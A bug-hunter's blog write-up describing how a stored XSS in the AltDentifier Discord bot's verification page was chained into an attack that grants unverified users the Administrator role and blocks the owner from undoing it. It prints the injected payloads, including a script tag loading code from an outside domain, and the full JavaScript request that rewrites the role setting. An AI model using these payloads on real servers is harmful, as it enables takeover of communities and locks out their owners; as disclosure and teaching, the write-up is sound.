I’ve previously written about the dangers of third party plugins for software. While browsing random coding forums one night, I’ve found one that I particulary enjoyed and decided to enroll on their Discord server. When I joined the Discord, I noticed that a Discord Bot by the name of
AltIdentifier would message you, forcing you to connect your account with another website such as Steam, Twitter, Youtube, etc in order to prove you’re not a bot or an alternate account which ban evading.
As of when I’m writing this article (3/19/2020),
Altdentifier is used by 23,864 Servers and over 6 million users:
While ‘verifying’ my account, I’ve noticed something that would pique the curiosity of any bug hunter: Your Discord Username was being reflected on the verify page.
Just because the name is being reflected on the page doesn’t mean the web application is vulnerable as sanitization can be taking place. However as we’ll learn later on that while sanitizing 98% of input, it only takes one weak link in the chain to have it all come down…
As mentioned earlier in the article, the flow of how Altdentifier works is as the following:
When joining a server, we notice we get a message from Altdentifier forcing us to confirm our account or we are kicked from the server:
Clicking on the link, we are brought to a page where we have to verify our account:
As you you can see our
Discord Name is reflected in a few places. At this point, I figured why not try to see if we can inject any HTML into the page so I changed my Discord Name to include some HTML:
Loading the verification link, we can see the page looks as:
As we notice in the middle of the page, there is a strike through our name. Looking at the page source we see that our name is reflected in many places, however sanitized:
However there is one place, it isn’t:
Awesome we are able to inject HTML into the page as our Discord Name is not being sanitized. At this point we pretty much have a sure shot of achieving XSS, unless a WAF gets in our way.
<img src=/ onerror=alert('mqt')</img>.
I then attempt to re-verify:
At the sight of the prompt, my heart skips a beat and we have XSS!
However a weak prompt is not going to achieve any realistic ‘impact’, and furthermore there is a chance of this being a stored
Self-XSS as this is reflecting under the context of the attacker’s account.
I wanted to see if this was true, so I created a new Discord Account with a Discord Server whom would act as the Server Owner and added
Altdentifer to my server.
Afterwards, I sent my Server Owner Account the XSS payload, and noticed that the XSS still pops, however the developer seems to be correct that it’s only executing under the context of my account (so I would not be able to elevate privileges). However to fully test this, in the browser console I fired off an
XMLHttpRequest which would return the response of the Home Page as earlier we saw that the name of our Server Owner was reflecting (in the top right):
I loaded a verify link using the Attacker’s username and opened it using the Server Owner account. Then I fired off a request to return the response of
https://altdentifier.com and checked to see if it contains the username of the Server Owner. When
true was returned, my heart skipped another beat, we are able to execute requests behalf of the Server Owner:
So now we have two things:
- Stored XSS
- We are able to perform actions on behalf of the server owner.
As with everything, there’s always a problem lurking in the background. In our case, Discord would only allow
32 Characters max as your username. While this might seem like a lot of characters, we would need open and closed
<script> tags including the
21 characters alone.
With just 11 characters to spare, I purchased a domain which was five characters in length (including the extension).
With our new payload:
<script src=//7qa.pw></script>, we were just 1 character short from the max length. Phew.
While browsing the
Server Dashboard (where you are able to modify the bot’s settings), I’ve noticed something interesting.
You are able to set the role of the users when they first join the server:
Imagine if the user who joins the server (mind you not having to verify their account), is automatically granted admin privileges? That would be wicked, so let’s see if we are able to achieve that.
First, I created an Administrator role on my tester. Next, I went into Altdentifer settings and checked if I am able to assign the Administrator role to users and spoiler alert, I was:
In order to retrieve this information, I performed a legitimate request as the Server Owner and just viewed the HTTP request:
Couple things to notice:
- We see that we are sending a
POSTrequest to a specific endpoint which appears to contain a unique ID. If we are unable to retrieve this
IDpublically, then this vector is pretty much dead.
However I noticed this
ID is the
ID of our Discord Server:
Next, we can see that the request is sending form data. The specific parameter we are interested in is
in_verif_role which is the role the user is given upon first joining the server (while they are still unverified):
Damn it, from what it looks another unique
ID. It would be a shame if this would break our chain as we are getting close to the prize.
After some Googling, I came across a article which showed how any user is able to get the
ID of a
Server Role on any Discord Server.
You can achieve this by calling the role using
@ and then prepending a backslash to it, which would look something like this:
Server Role ID would print out (as you can see I did this with a low privilege account with no rank on the server):
At this point, I’m pretty much ready to jump out of my chair. We have all the components in order to ‘theoretically’ change the Unverified role to Administrator.
During further testing, I’ve noticed that in our request we only need to send the parameters that we would like to update (and not have to send every parameter). The two parameters we are interested in:
altdentification - Controls whether the bot is on/off.
in_verif_role - ID of the Role that the user is granted while they are unverified.
Foreshadowing Alert: Sending a request with only two parameters will lead to something interesting as will see later on…
var req = new XMLHttpRequest(); req.open("POST", "https://altdentifier.com/dashboard/690405840209051659", true); var formData = new FormData(); formData.append('altdentification', 'on'); formData.append('in_verif_role', '690405914204831746'); req.send(formData);
Next we update our Discord name to our new payload, which in the end looked like this:
Awesome now we have to grab a verify link from Altdentifier, we can do this by joining a server which is using Altdentifier and viola we have a new link:
Finally, we can setup our enviornment. We ensure we are logged in as the Server Owner on
https://altdentifier.com. As the attacker, we message the Server Owner our verfication link (note any user is able to message the link, doesn’t necessarily have to be the user who generated it).
When the server owner opens the link, they don’t see anything out of the ordinary. Maybe the weird name in the top right corner, but few would notice:
After that is finished, as the Server Owner, I browse back to the Dashboard and click
Verification and my mind is blown: we have changed the role to
Remember earlier how I mentioned that only sending two parameters would lead to something interesting…well it appears because we sent only two parameters (intead of all parameters which the server expects) we broke some sort of application logic and now the Server Owner is unable to change the role from
Administrator as they are met with an error:
We were able to achieve persistence (in a form of denial of service). This makes this vulnerablity that more dangerous as the panicked Server Admin would go into their settings and attempt to change the
Verification Role to a lower privilege role but they wouldn’t be able to duue to the error. The only way for the Server Admin to ‘fix’ this situation is to kick the bot from the server, which would effectively make the server need to re-verify every user as the data would be lost.
Lastly, here’s a video proof of concept which demonstrates the exploit from the start using the Victim’s perspective:
This was one of the most interesting bugs I have worked on so far. There were many roadblocks when building out the chain and I am happy I was able to overcome them as I’ve learned a ton. First from our Discord Name being reflected (Which I thought was really cool) all the way to being able to take over the Server and prevent the Server Owner from changing the role unless they kick the bot and lose their data.
Remeber when there’s smoke there’s a fire. Always explore and go further in order to demonstrate what a simple client side attack is able to do.
Thank you for reading my notes, - mqt